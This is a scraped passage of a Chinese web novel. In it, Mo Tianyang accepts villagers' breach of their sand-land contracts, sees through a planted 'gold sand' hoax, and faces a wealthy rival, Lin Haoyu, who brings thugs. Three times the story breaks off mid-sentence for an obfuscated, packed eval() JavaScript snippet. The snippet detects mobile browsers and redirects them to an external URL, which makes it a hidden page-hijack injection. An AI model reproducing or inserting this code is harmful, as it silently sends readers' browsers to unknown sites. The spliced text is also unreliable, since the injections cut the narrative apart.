他作势欲扑，但莫天扬身边的大青反应更快！一声低沉暴戾的咆哮炸响！大青背毛根根倒竖，森白的獠牙完全暴露，身体伏低，如同蓄满力的弹簧，死死锁定莫栓，随时准备扑杀！ 看到这骇人的一幕，莫栓满腔的怒火瞬间被浇灭，只剩下恐惧。开春时大青发狂放倒多名执法者的场面他还历历在目，他可不想以身试“牙”！ 不敢招惹大青，莫栓立刻转向王喜山等人，继续煽风点火：“王喜山！听见没？他说得对！别人给四百，他凭啥只给五十？他就是明摆着坑你们这些老实人！必须让他把差价补上！不然这合同就是骗局，不能认！” 原本还有些犹豫和羞愧的村民，被莫栓这么一鼓动，仿佛找到了主心骨，腰杆瞬间硬了起来。 “天扬啊，”王喜山再次开口，语气带着点“理直气壮”的委屈，“栓子说得在理。我们也不是非要撕破脸皮，就是想拿个公平价！四百和五十，差得也太远了！你读过大学，也不能这样糊弄乡亲吧？再说了，人家（指莫栓带来的人）也说了，只要我们把沙地包给他们，照样给我们活干！五十岁以上的都要！” 莫天扬看向胡标。胡标一脸苦涩，无奈地摇摇头，显然他也束手无策了。 莫天扬深吸一口气，压下翻涌的怒意，目光如冰刀般扫过那些背信弃义的村民，缓缓开口：“行。既然你们铁了心要毁约，我同意解除合同。” 不等那些人脸上露出喜色，他紧接着道：“但是，宏利刚才说得很清楚。这段时间，我为治理这些沙地，真金白银投入了**万！这是板上钉钉的事实！合同白纸黑字，具有法律效力！是你们单方面毁约在先！” 他声音陡然转冷，斩钉截铁：“作为毁约的补偿，除了退还我支付的承包费，你们每一户，再额外赔偿我一千块损失费！拿钱来，立刻解约！” “一千块？！你怎么不去抢？！”莫栓第一个尖叫起来。 莫天扬冷哼一声，目光如电般刺向莫栓：“至少，我靠的是白纸黑字的合同和真金白银的投入！不像某些人，靠的是讹诈**、发昧心财！” “天扬，我们都说了不要这段时间的工钱了，你还要一千？你这……也太狠了吧？”有村民忍不住嚷嚷。 “狠？”莫天扬嘴角勾起一丝冰冷的弧度，“我一共投入了**万！你们三十多户，加起来赔我不到三万，我净亏五六万！这已经是看在乡里乡亲的情分上！按合同，按法律，你们该赔我全部损失！” 他目光如炬，带着不容置疑的威严，最后重重道：“就这个条件！爱要不要！要是莫栓这种货色来跟我谈毁约，哼，就算他把全部家当赔给我，我都不会点头！” “**再说老子杀了你！”莫栓嘴上叫嚣得凶，脚下却像生了根，纹丝不动。不是不想，是真不敢——大青那双冰冷的兽瞳，正死死锁定着他！ “喜山，”一个原本跟着起哄的村民看不下去了，低声劝道，“天扬这段时间确实往里砸了十来万，大伙儿都看在眼里。这次是咱们不占理……天扬只要每户赔一千，认了吧！是咱们对不住他……” 自知理亏的村民们纷纷附和，矛头转向了王喜山。一千块他们还能咬牙拿出来，真要闹到县里打官司，赔的可就不止这个数了！ 王喜山叫得最响，心里也最虚。眼看其他人都有了台阶下，他也只能悻悻地就坡下驴。 “商量好了？”莫天扬平静地问，声音听不出喜怒。 “……商量好了，就按你说的办。”王喜山闷声道，避开了莫天扬的目光。 莫天扬无声地叹了口气，疲惫感涌了上来。“标叔，勇叔，麻烦你们去帮他们办手续吧。” 不到中午，原本热火朝天的沙地变得一片死 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“就你原来承包沙地周边那些人家。其他人也想签，可那些人说了，他们的沙地还没‘抽样’检测，等确认有沙金，再按同样条件签。” 听到这话，莫天扬心头猛地一跳！这几天他一直在琢磨刘思雨带回的消息，也在网上查了不少资料。此刻陈宏利带回的这个细节——“抽样”、“确认沙金才签”——像一道闪电，瞬间劈开了他心中的迷雾！一丝难以掩饰、甚至带着点玩味的笑容，悄然浮现在他嘴角。 “天扬？！”胡标惊愕地看着他，“都这节骨眼上了，你……你怎么还笑得出来？” 莫天扬迅速收敛笑容，淡淡问道：“标叔，我记得大集体那会儿，这片地……好像还不是沙地吧？” “不是，”胡标回忆道，“那时候地不算肥，但也没多少沙子。是这二十来年雨水少，冬天风沙又大，地才慢慢退化成现在这样……天扬，你问这个干啥？” 莫天扬轻轻摇头，岔开话题：“没什么，回头我再琢磨琢磨。这段时间辛苦大家了，白忙活一场。” “我们没事，主要是你，损失太大了……”胡标一脸愧疚。 “吃一堑长一智吧，”莫天扬反而安慰起他们，“以后签合同，违约金这块，必须得写明白写狠点！” “小子，你过来一趟。”帐篷外，传来莫啸低沉的声音。 莫天扬看了眼门口爷爷严肃的面容，无奈地起身，自嘲地笑了笑：“得，挨训的时辰到了。” 胡标连忙低声道：“好好跟老爷子说，这事真不怪你！要怪就怪那些眼皮子浅、见钱眼开的混账东西！” 莫天扬摆了摆手，“没事，爷爷虽说年岁大了，可还不糊涂，他还分得清是非对错。峰叔，准备午饭吧，今天人们火大，去池塘弄几条鱼炖上，大家也该尝尝咱们自己的鱼了。” 第一百二十章还是你狠 莫啸的房间里，气氛有些凝重。莫天扬跟着进来，只见爷爷莫啸神情严肃，小心翼翼地从衣兜里掏出一个用卫生纸紧紧包裹的小团，递了过来。 莫天扬接过，一层层打开。当最后一层纸被剥开，他瞳孔骤然一缩！洁白的纸巾上，赫然躺着两粒比沙子还细小、却闪烁着刺目金光的颗粒！ “爷爷，这是……？”莫天扬的声音带着一丝不易察觉的震动。 “金沙。”莫啸的声音低沉而肯定，“上午，我在沙地里找到的。” 莫天扬猛地抬头看向爷爷，眼中充满震惊与询问。 莫啸没有直接回答，浑浊的目光锐利地盯着孙子：“天扬，你怎么看这‘金沙’？” 莫天扬深吸一口气，强迫自己冷静下来，眼神锐利如刀：“爷爷，这段时间我专门查过资料。咱们这儿的沙地，二十多年前还是黄土为主，没多少沙子！沙金通常只存在于古老的河床里。而现在地里的沙子，都是这些年大风刮来的浮沙！这种沙子，根本不可能天然含有金子！” 莫啸眼中闪过一丝不易察觉的赞许，缓缓点头：“你小子这书没白念。青木山深处或许有金沙，但青木村周围，祖祖辈辈从没听说过！” “所以，这金沙是假的！”莫天扬语气斩钉截铁，“而且，刚才宏利说，那些人只签了我原先承包的那一圈沙地，对其他人的地看都不看！这更证明，‘沙金’就是个精心设计的局！有人故意撒下这些金沙，制**象，目的就是逼走我，毁掉我的事业！” “既然你上午就怀疑了，”莫啸紧盯着孙子，带着一丝探究，“为什么不说破？为什么只让那些人赔一千块，自己白白损失五六万？” 莫天扬嘴角忽然勾起一抹深邃的笑意：“上午我只是怀疑，现在，才真正确认了！在他们眼里，我这是认怂了，打落牙齿和血吞。可实际上……他们这是在帮我大忙啊！” “帮你大忙？”莫啸眉头紧锁，显然没跟上孙子的思路。 “对！”莫天扬眼中闪烁着智珠在握的光芒，“他们要‘淘金’，就得用水冲洗沙子！可青木村最缺什么？水！他们唯一的选择，就是把大量的沙子拉走处理！您想想，等他们把沙子都清走了，下面埋着的土层不就露出来了吗？这可比我自己花钱雇人清理，省力省钱太多了！” 他顿了顿，笑容里带上了一丝冷冽：“更重要的是，这次是他们集体毁约，错在他们！等风头过去，沙子没了，露出贫瘠的生土，他们种不了庄稼赚不到钱，再想求我回去种他们的地……他们还能像今天这样嚣张跋扈、坐地起价吗？” 这番话如同醍醐灌顶，让莫啸浑浊的眼眸瞬间爆发出惊人的清澈！虽然这光芒很快又隐没下去，但他看向孙子的眼神已彻底不同，充满了震撼与难以言喻的激赏。 “你小子……好深的算计！”莫啸的声音带着一丝颤抖，“借别人的手帮你清沙，还能让毁约的村民对你心存愧疚……可你想过没有？沙子没了，露出生土，那地更贫瘠！他们凭什么还会求你？” “爷爷，”莫天扬自信一笑，“您和土地打了一辈子交道，最清楚不过：挖出来的生土，不经过大量投入改良，种出来的东西连沙地都不如！这个道理，但凡是个老庄稼把式都懂！这些年他们守着熟地都赚不到钱，生土能养活他们？他们的地，只有我能种活，能种好！也只有我，能给他们不用背井离乡就能赚到钱的机会！” 莫啸深深地吸了一口气，仿佛要将胸中积郁多年的浊气都呼出来。他脸上的皱纹似乎在这一刻都舒展开了，露出一种前所未有的欣慰与自豪：“好！好！天扬……你终于，真正长大了！” “爷爷，这事就咱爷俩知道。”莫天扬压低声音，眼神锐利，“我猜这局，八成是安云飞的手笔。也只有他，能在这么短时间内让浅驼县那些有钱人相信这里有‘金沙’。他们想让我成为众矢之的，被贪婪的村民撕碎……可惜啊，他们算漏了一步——我根本没按他们的剧本走！” 他冷冷一笑：“今天下午，他们就会兴冲冲地开始‘淘金’了。您说，等他们热火朝天地挖了半天，最后却发现……根本淘不出像样的金子，那场面，会多有趣？安云飞怎么跟那些被他忽悠来的‘有钱人’交代？” 莫啸凝视着眼前这个脱胎换骨般的孙子，良久，才缓缓吐出一句，充满了由衷的叹服： “小子……你比当年我……。” 听到爷爷再次提及当年，莫天扬哈哈一笑，“爷爷，我去看看茶。” 午饭吃得沉闷压抑，餐桌上只有碗筷碰撞的轻响，每个人都心事重重。唯有莫天扬，平静地吃着饭，仿佛什么都没发生过。 下午，莫天扬在屋里看书。房门被轻轻推开，胡标走了进来，脸上带着几分为难：“天扬……” “标叔，有事？”莫天扬放下书。 “沙地那边……开工了。”胡标搓着手，“有两个老板找过来，想买咱井里的水洗沙子。开价一个月两万块……他们说井是你家的，村里管不着。你看这钱……” 莫天扬果断摇头：“标叔，话不能这么听。咱们浇菜用水，他们挑不出理。可一旦卖水，性质就变了！他们立马就能给我扣上个‘私自开采地下水牟利’的大帽子！到时候罚款是小，弄不好还得坐牢！”他语气坚决，“您去回他们：井水出量少，浇菜都勉强，一滴也卖不了！” 跟着胡标走到外面，莫天扬看到胡标正和两个衣着光鲜的中年人交涉。他的目光越过他们，投向远处的沙地——那里已是机器轰鸣，尘土飞扬。莫天扬轻轻摇了摇头，嘴角泛起一丝不易察觉的冷嘲。这一幕落在帐篷下忙碌的曹建华、曹慧、颜若曦等人眼里，更添了几分对他的心疼与不平。 莫天扬转身去照料他那片神秘的茶田。一阵极其轻微、几乎落足无声的脚步声自身后传来。不用回头，他也知道是王海龙、**辉、李红军三人中的一个来了——只有他们这些训练有素的退伍兵，才有这样的步伐。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157377|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >转头看去，是**辉。 “辉哥，在这边还习惯吗？”莫天扬问道。 **辉长舒一口气，带着真诚的感激：“习惯！太习惯了！我们几个退下来三四年了，没文化，只能在工地卖力气。到你这儿，摘摘菜送送货，轻松得很！管吃管住，工资还高，老战友们羡慕坏了！”他说着，眼神锐利地扫了一眼沙地喧嚣的方向，声音压低了些：“就是……他们太欺负人了！天扬，你心太软了。” 莫天扬淡淡一笑：“都是一个村的，抬头不见低头见。闹僵了，以后怎么处？你们来了有段日子了，有空回去看看家里？” “不用，”**辉爽朗一笑，“路费不便宜，省下来够家里吃几顿好的！过阵子再说。” 莫天扬点点头：“辉哥，有件事麻烦你们。没事的时候，在咱家菜地周边多转转。防着点，别让那些人挖机开过来，把咱的地界给挖了。” “包在我们身上！”**辉拍着胸脯，“就当日常巡逻了！” 夕阳西沉，暑气稍退。帐篷下，众人纳凉闲聊。这时，一群灰头土脸、满身沙土的村民拖着疲惫的步子从附近走过——正是白天去沙地上班的那些人。他们看到帐篷下悠闲的莫天扬等人，都羞愧地低下头，脚步匆匆地溜走了。 “天扬！我他妈到现在还咽不下这口气！”陈宏利看着那群人的背影，恨恨道，“听说他们的沙土车得走前面那条路？要不……我们哥几个晚上去把路给它挖断！看他们还怎么嘚瑟！” 莫天扬立刻摇头：“别冲动！他们敢在这儿大张旗鼓地挖，背后肯定有县里人点头。你去挖路，咱们就成没理的一方了。再说，人家有挖掘机，三下五除二就能修好。”他目光沉静，“只要他们不越界碰咱的地，随他们折腾。你们盯紧点，别让他们过界就行。” 正说着，众人目光转向另一边。只见曹勇陪着几个同样疲惫不堪的村民走了过来。那几人看到莫天扬，更是尴尬得无地自容，匆匆点头示意后，逃也似的离开了。 “勇叔！你跟那些白眼狼有啥好说的！”陈宏利没好气地说。 莫天扬制止了陈宏利，看向曹勇：“勇叔，看他们这样，那边活儿挺苦？” “何止是苦！”曹勇叹道，“工钱还低得可怜！” “他们上午不还说……”莫天扬想起王喜山当时的“理直气壮”。 “一天就六十！不管饭！”曹勇摇摇头，“刚才……他们还托我问问你……能不能……再回来干活……” “他们还有脸问？！”陈宏利瞬间炸了，“天扬给过他们多好的机会！是他们自己为了钱当叛徒！累死也活该！” “宏利！”曹勇皱眉，“都是一个村的，话别那么难听。他们……也是为了多挣点……” 莫天扬摆摆手，打断了曹勇的话，声音平和却带着不容置疑的疏离：“勇叔，您转告他们：眼下咱就剩这点菜地，现有的伙计们还富余。暂时不需要人手。以后真有需要……会优先考虑他们的。” 第一百二十一章情敌？ 村民单方面撕毁合同，莫天扬最终只象征性地收了一千块违约金。尽管他心中自有盘算，但这份用意连胡标这些亲近的人都未能参透。在外人看来，白白损失了五六万承包费的他，简直成了十里八乡最大的笑话。 莫天扬有自己的长远布局，但胡标等人却只看到眼前。每天看着那些因失去额外收入而显得疲惫不堪的村民，胡标他们的脸色都不太好看。 “标叔，不是听说莫栓要回来包地种菜吗？这都多久了，怎么一点动静都没了？”曹克雄凑过来问道。 胡标叹了口气，摇摇头：“他的人还在村里东挖西采地取样呢。咱们村啥情况你还不清楚？以前产量高那是仗着地多，这些年良田都快变成沙窝了。多少专家、老板来看过，最后不都摇头走了？那些有钱人精着呢，可不是天扬这样的实在人，肯不计成本地往里砸钱。他们得算账，算来算去，都觉得这沙地种不出金子来，划不来！” “胡标说得在理。”陈峰接口道，“再说莫栓那一家子的人品，村里谁不知道？他们父子俩连自家血亲都坑，谁敢把沙地包给他们？现在好些人还做着沙地里能淘出沙金的美梦呢，指望着四百块一亩包给那些想‘淘金’的傻子。所以啊……” 莫天扬在一旁听着，心中也泛起一丝苦涩的叹息。同族同宗，他比谁都清楚莫栓一家的德性。村民们担心重蹈自己的覆辙，被莫栓一家算计，因此不愿与其有任何瓜葛，这也在情理之中。 看到莫天扬叹气，性子直爽的曹勇皱了皱眉，粗声道：“提那个白眼狼做什么？听见他的名字都晦气！天扬你别往心里去。” 就在这时，一阵熟悉的引擎声由远及近。 “咦，思雨今天怎么这么早就回来了？”有人眼尖，看到那辆红色轿车停在了院外。 刘思雨推门下车，莫天扬敏锐地察觉到她情绪不对。那张平日里明媚的俏脸此刻仿佛罩着一层寒霜，眉宇间压抑着怒火，连关车门的动作都带着一股子烦躁。 她快步走进院子，一言不发地将一个厚厚的文件夹“啪”地一声拍在餐桌上，然后气鼓鼓地抓起一块西瓜，狠狠咬了一口，像是在发泄什么。 “这是怎么了？谁惹我们刘大美女生气了？”莫天扬笑着问道，试图缓和气氛。 刘思雨给了他一个结结实实的大白眼，依旧抿着嘴不说话。这反应让莫天扬更是摸不着头脑，早上出门时还好好的，这又是唱的哪一出？ 就在众人面面相觑，疑惑不解之际，一声刺耳的刹车声再次响起！只见一辆价值不菲、造型张扬的越野车紧贴着刘思雨的红色轿车停下。车门打开，一个打扮得油头粉面、头发梳得锃亮的青年跳了下来。 他眼神飘忽，带着一股纨绔子弟特有的轻浮，但眼底深处却藏着一丝不易察觉的阴鸷。他“砰”地关上车门，转身从后座拿出一大捧包装精美的红玫瑰，脸上堆起自以为深情的笑容，径直朝着刘思雨和众人所在的凉棚走来。 随着他走近，莫天扬的眼神微微一凝——这青年的目光如同黏腻的蛛网，紧紧缠绕在刘思雨身上，那毫不掩饰的占有欲和欲望，几乎要溢出来。 莫天扬下意识地转头看向刘思雨。果然，刘思雨精致的脸蛋上厌恶之情几乎凝成实质，杏目圆睁，仿佛看到了什么极其恶心的东西。一瞬间，莫天扬全明白了。 “思雨！”青年走到近前，无视了其他人，声音刻意放得深情款款，却带着一股子矫揉造作，“‘千年一眸’，你就是我命中注定的女神！请接受我第三十八次真挚的爱意表达！”说着，他夸张地将那捧巨大的玫瑰花束往前一递。 胡标、陈峰这些老一辈的村民只是皱皱眉，表情有些古怪。他们不太理解现在年轻人这种当众示爱的方式，觉得过于肉麻和轻浮，与他们那个年代含蓄的表达大相径庭。 而莫天扬和一旁的颜若曦则听得清清楚楚，两人不由得同时低头，掩饰着脸上的尴尬和不适。他们都能清晰地感觉到，眼前这个油头粉面的家伙绝非善类。这种在众目睽睽之下、毫无分寸感的“深情表白”，只让人觉得虚伪和冒犯。 “林浩宇！”刘思雨的声音冰冷得像淬了冰，“我跟你说过多少次了？我对你，没有！任何！感觉！请你不要再来骚扰我！” 林浩宇脸上的笑容僵了一下，但很快又挤出来：“思雨，别这么绝情嘛。你未嫁，我未婚，我有的是时间和诚意来打动你。精诚所至，金石为开……” “我已经有男朋友了！”刘思雨被他纠缠得烦不胜烦，情急之下脱口而出。眼角余光瞥见身边莫天扬那副“事不关己，还有点看热闹”的表情，一股无名火“噌”地窜上心头。 “男朋友？”林浩宇脸上的笑容瞬间消失，声音陡然拔高，带着质疑和一丝戾气，“谁？” “就是他！”刘思雨伸手猛地挽住莫天扬的胳膊，为了增加说服力，甚至将臻首亲昵地靠在了莫天扬结实的胸膛上，语气斩钉截铁，“我们已经谈婚论嫁了！” 莫天扬瞬间僵在原地，目瞪口呆，大脑一片空白，完全没料到刘思雨会来这么一出。 一旁的颜若曦更是惊得瞪大了眼睛，一股强烈的、莫名的危机感如同冰冷的潮水，瞬间涌上心头，让她不自觉地攥紧了手指。 “他？！”林浩宇的目光如同淬毒的刀子，死死钉在莫天扬身上。看着这个皮肤被晒得黝黑发亮、穿着再普通不过的旧T恤和工装裤、浑身上下透着泥土气息、活脱脱一个庄稼汉模样的男人，林浩宇眼中瞬间布满了难以置信的鄙夷和汹涌的阴狠。 “小子，**算个什么东西？”他的声音阴冷得如同毒蛇吐信，“我的女神也是你这种**泥腿子能染指的？马上给我滚开！否则，我让你吃不了兜着走！” “我……”莫天扬刚想开口解释这荒谬的局面。 “林浩宇！”刘思雨厉声打断，再次紧紧挽住想要挣脱的莫天扬，“我们的事不需要你管！现在你也知道了，请你立刻离开！以后也不要再出现在我面前！”她的声音带着不容置疑的决绝。 林浩宇死死地盯着莫天扬，那眼神怨毒得仿佛要将对方生吞活剥。他缓缓点了点头，从牙缝里挤出几个字：“好，好得很。小子，我记住你了！你给我等着！” 说完，他猛地将手中那捧昂贵的玫瑰花狠狠摔在地上，花瓣四溅。他阴鸷地扫了一眼依偎在一起的两人，转身大步走向自己的越野车，引擎发出一声愤怒的咆哮，绝尘而去。 看着林浩宇的车消失在村道尽头，刘思雨紧绷的神经才松懈下来。她立刻像被烫到一样松开挽着莫天扬的手，俏脸飞起两抹尴尬的红霞，声音低了下去：“不……不好意思啊天扬，情急之下……拿你当挡箭牌了。” 莫天扬这才从石化状态中恢复，不由得一脸无奈加苦笑：“这人……是你的追求者？你这……也太突然了吧？” “他就是个仗着家里有点钱就胡作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157378|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非为的二世祖！”刘思雨懊恼地揉了揉眉心，“被他祸害的姑娘不知道有多少！而且这个人睚眦必报，心眼比针尖还小……这下真给你惹上**烦了。” “唉，你……”莫天扬看着刘思雨懊恼又带着歉意的样子，只能无奈地摇头叹息。麻烦？似乎从他回村开始，麻烦就没断过。这个林浩宇，看起来比之前的对手都要棘手得多。 “算了，”莫天扬摆摆手，脸上带着一种近乎麻木的平静，“虱子多了不痒，债多了不愁。现在麻烦还少吗？多他一个林浩宇，也不算什么。” 刘思雨杏目闪烁，担忧地看着他，深吸了一口气，声音压得更低：“天扬，你别不当回事。这个林浩宇，心黑手狠，跟莫栓那种村痞不是一个路数！这几年他明里暗里干了不少腌臜事，可那些受害者……最后不是忍气吞声，就是彻底销声匿迹了。他家的背景，水很深。”她的话语里带着一种沉甸甸的警示。 莫天扬眉头微微蹙起，随即却又化开，嘴角扯出一个淡得几乎看不见的弧度：“该来的躲不掉。倒是你，”他话锋一转，目光认真地看向刘思雨，“才要格外小心。他在青木村这片地上，暂时还不敢对我明目张胆做什么。可你不一样，你在城里，又在外面跑……” 刘思雨听出他话里的关切，眼底不易察觉地掠过一丝暖意和喜色，用力点点头：“嗯，我明白，我会小心的。” 两人的对话被一阵由远及近、震耳欲聋的轰鸣声打断。十几辆满载沙土的重型自卸车排着长龙，如同钢铁巨兽般咆哮着从村道上驶过，卷起漫天尘土。 胡标、陈峰他们看着车队扬起的滚滚黄尘，都不由自主地低下头，脸上写满了无奈和沉重的叹息。这车队意味着什么，他们心知肚明——更多的沙地在被蚕食。 莫天扬的目光转向大院。大院中一层结构清晰可见，工人们正手脚麻利地在脚手架上忙碌，叮叮当当地建造着第二层…… 就在这时，一阵清脆欢快的嬉笑声打破了沉闷的气氛。只见五六个半大孩子像一群灵活的小猴子，嘻嘻哈哈地从一片拆掉的院墙跑出来。他们的小脸红扑扑的，怀里紧紧抱着、手里还攥着几个水灵灵的西红柿和顶花带刺的黄瓜，显然是刚从莫天扬的菜地里“顺手牵羊”来的。 看着孩子们脸上洋溢的满足和偷得“美味”的得意，莫天扬原本紧绷的嘴角不由得放松，流露出一丝发自内心的、温和的笑意。那笑容里，带着对孩童天性的包容。 “这帮皮猴子！真是越来越不像话了！”胡标看着孩子们抱着“战利品”跑远的背影，又好气又好笑，作势就要起身，“陈峰，走！非得去跟他们家里大人说道说道不可！哪能天天这么嚯嚯天扬的心血？” “标叔！”莫天扬连忙伸手拦住他，声音里带着笑意和一丝追忆，“算啦！孩子天性，能吃多少？由他们去吧。您忘了？咱们小时候，不也这样？那会儿，您家地里的甜瓜、勇叔园子里的脆枣，可没少遭我们的‘毒手’呢！” 胡标、陈峰、曹勇等人闻言，先是一愣，随即都忍不住哈哈大笑起来。莫天扬的话像一把钥匙，瞬间打开了尘封的记忆闸门。他们的思绪被拉回了那个同样顽皮的童年时光——烈日下，泥地里，几个半大小子偷偷摸摸的身影，得手后那既紧张又兴奋的狂奔，还有被大人发现后挨的训斥……画面鲜活而温暖，与眼前这群抱着西红柿跑远的孩子身影，奇妙地重叠在了一起。 第一百二十二章无需忍耐 日子一天天过去，村口那座大院正面的主体建筑已颇具规模。不同于一层的钢筋混凝土结构，二层的屋顶采用了传统的木质框架搭建。虽然尚未完工，但飞檐斗拱的雏形已然显现，透出浓浓的古朴韵味，与周围的环境形成一种奇特的对比。 菜地里，七八个**岁的小家伙怀里鼓鼓囊囊塞满了西红柿和黄瓜，小脸被太阳晒得红扑扑的。他们嬉笑着冲莫天扬喊：“天扬叔叔，我们走啦！” 莫天扬笑着摆摆手，扬声叮嘱道：“慢点跑！吃不完就带回家，别糟蹋了！记住啊，不准乱跑，更不准进山，听见没？” “知道啦！”孩子们脆生生的回答散落在风里，像一群快乐的小鸟跑远了。 胡标看着孩子们蹦蹦跳跳远去的背影，不由得叹了口气：“天扬，这帮小崽子天天来报到，一天好几趟，细水长流，这损耗算下来……可不是个小数目啊。” “孩子们能吃多少？”莫天扬浑不在意地笑笑，“他们喜欢，能吃是福。要是连这点东西都舍不得，我这当叔的也太小气了。” “可他们的爹妈……”胡标欲言又止，脸上有些顾虑。 莫天扬摇摇头，语气平和：“孩子是孩子，大人是大人。他们爹妈也是为了孩子好，没什么。对了，标叔，沙地那边……现在情况怎么样了？” 胡标的脸色沉了下来，带着痛惜：“唉，别提了。几乎每一片沙地都被翻了个底朝天，挖下去快一米深！底下的黄土都露出来了。现在剩下来完好的地，连四分之一都不到。不过……”他顿了顿，“这几天进出的车好像少了些，没以前那么没日没夜地折腾了。” 莫天扬闻言，也轻轻叹息了一声。近一个月来，那些运沙车昼夜不停，如同贪婪的巨兽啃噬着土地。若非进出青木村的路崎岖难行，恐怕这点残存的家底也早被掏空了。 “知道那些挖走的沙土都运到哪了吗？”莫天扬问道。 “三条涧！”胡标语气肯定，“都在那儿洗沙呢！听说那边现在可热闹了，工钱开得高，一天一百块！比咱们这儿六十块强多了。不过也有人说，那活计累得能把人骨头架子都累散了。” 莫天扬默然，目光转向眼前这片依旧生机盎然的菜地，转移了话题：“标叔，我刚才在菜地里转了一圈。西红柿现在摘到第六层果了。第八层虽然也挂了小果，第九层还在开花，但看这天气和势头，估计很难摘到第八层了。黄瓜、茄子、辣椒、豆角这些，也开始‘回头’了。 （注：意指过了盛产期，产量开始下降） 胡标深吸了一口气，看着眼前这片依然郁郁葱葱、花果不断的菜地，眼神里充满了不可思议：“天扬啊，搁以前，村里家家户户都种菜，能把西红柿摘到第四层果的，那都是伺候庄稼的老把式了！到了这节气，地里的菜早就该拉秧歇了，哪还能像你这地里似的，开花结果不断？真是神了！” 他顿了顿，看着莫天扬，语气诚恳地提议：“天扬，等这茬菜忙活完，地里活儿少了，就让宏利、振南他们年轻力壮的留下来帮你。我们这些老家伙……就不用再算工钱了。”他的意思很明白，是想替莫天扬减轻些负担。 莫天扬立刻摇头，语气坚决：“标叔，您这说的是什么话！就算菜下架了，营生也断不了。酒坊、豆芽坊要人，等这新院子盖起来，里里外外收拾拾掇，那得多少工夫？人手只怕还不够呢！您跟勇叔、曹叔他们都带个话，让大家伙儿安心，别瞎琢磨。这活儿啊，长着呢！” 胡标见他态度坚决，点点头，脸上露出宽慰的笑容。他想起什么，又说道：“对了，天扬，我们几个老伙计这几天也合计了一下。你看咱们这菜，卖得多好啊！要是能搭上几个暖棚，冬天接着种，等过年那会儿，准能卖上大价钱！不过……” 他话锋一转，带着顾虑，“这暖棚搭起来，投钱多不说，就怕等到明年开春天气暖和了，这棚子种起菜来，反倒不如露天地得劲了？” 莫天扬眼中精光闪烁了几下，显然被这个提议触动了心思。他深吸一口气，认真地点头：“标叔，您这想法好！种反季节蔬菜，确实是个路子。回头咱们好好合计合计，看看怎么弄更划算。”他心中已经开始盘算着成本和技术的可行性。 “天扬！那个姓林的……他又带人来了！”陈峰急匆匆跑进院子，脸上带着焦急和愤怒。 莫天扬眉头瞬间拧紧，目光扫过身边的胡标和陈峰：“标叔，您们先忙，我去看看。” 自从上次林浩宇在刘思雨面前吃瘪后，这家伙就像块甩不掉的狗皮膏药，每隔三两天必来一趟。刘思雨在场时，他还能装出一副深情款款的舔狗模样；可只要刘思雨不在，他立刻原形毕露，趾高气扬地在工地上指手画脚。刘思雨早就警告过此人睚眦必报的秉性，莫天扬本着多一事不如少一事的原则，一直强忍着没理会。 刚走出院门，莫天扬的目光骤然一冷。只见不远处停着五六辆颜色扎眼、造型浮夸的轿车。简易帐篷下，林浩宇正叼着烟，唾沫横飞地指指点点，嘴里不干不净地叫嚣着。他带来的十多个小混混，穿着花里胡哨，流里流气，正旁若无人地啃着从莫天扬地里摘的西瓜，瓜皮随手扔得满地狼藉。 莫天扬沉着脸，大步朝帐篷走去。守在简易屋前、一直警惕盯着林浩宇等人的王海龙和李国强，立刻迎了上来，压低声音，语气带着压抑的怒火：“天扬！那几个杂碎刚才……动手打了咱们的工人！” 莫天扬脚步猛地一顿，锐利的目光扫向简易房门口那几个脸色愤懑的工人。果然，其中几个脸上清晰地印着红肿的巴掌印！一股冰冷的怒意瞬间从莫天扬心底窜起，他再看向那群混混时，眼神里已带上了刺骨的寒意。 就在他快要走近帐篷时，眼前的一幕彻底点燃了他压制的怒火！ 只见一个小混混嬉皮笑脸地凑到了临时搭建的灶台边，正对着准备生火做饭的曹慧动手动脚！他一只脏手竟想去摸曹慧的脸，嘴里还喷着污言秽语。 “**的找死！” 一声炸雷般的怒吼从莫天扬喉咙里迸发出来！这突如其来的暴喝，让那群啃瓜嬉笑的小混混全都吓了一跳，愕然转头。 林浩宇闻声猛地转过身，看清是莫天扬，他脸上先是一愣，随即浮起一抹阴狠得意的狞笑：“哟呵？是你这个王八蛋啊！”他扔掉烟头，用脚狠狠碾碎，声音陡然拔高，充满了怨毒和快意，“前几天看思雨的面子，老子忍着你！今天思雨去市里开会了，没人能罩着你了！还以为自己是个人物？给我上！废了他！别打死就行，留口气老子慢慢玩！” 这赤裸裸的威胁和命令，让跟着莫天扬出来的陈峰脸色煞白，急得直跺脚。他慌忙冲到林浩宇面前，试图阻拦：“小林！小林！有话好说啊！天扬他没得罪你吧？咱们……” “老帮菜！滚一边去！”林浩宇不耐烦地一把推开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163800|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 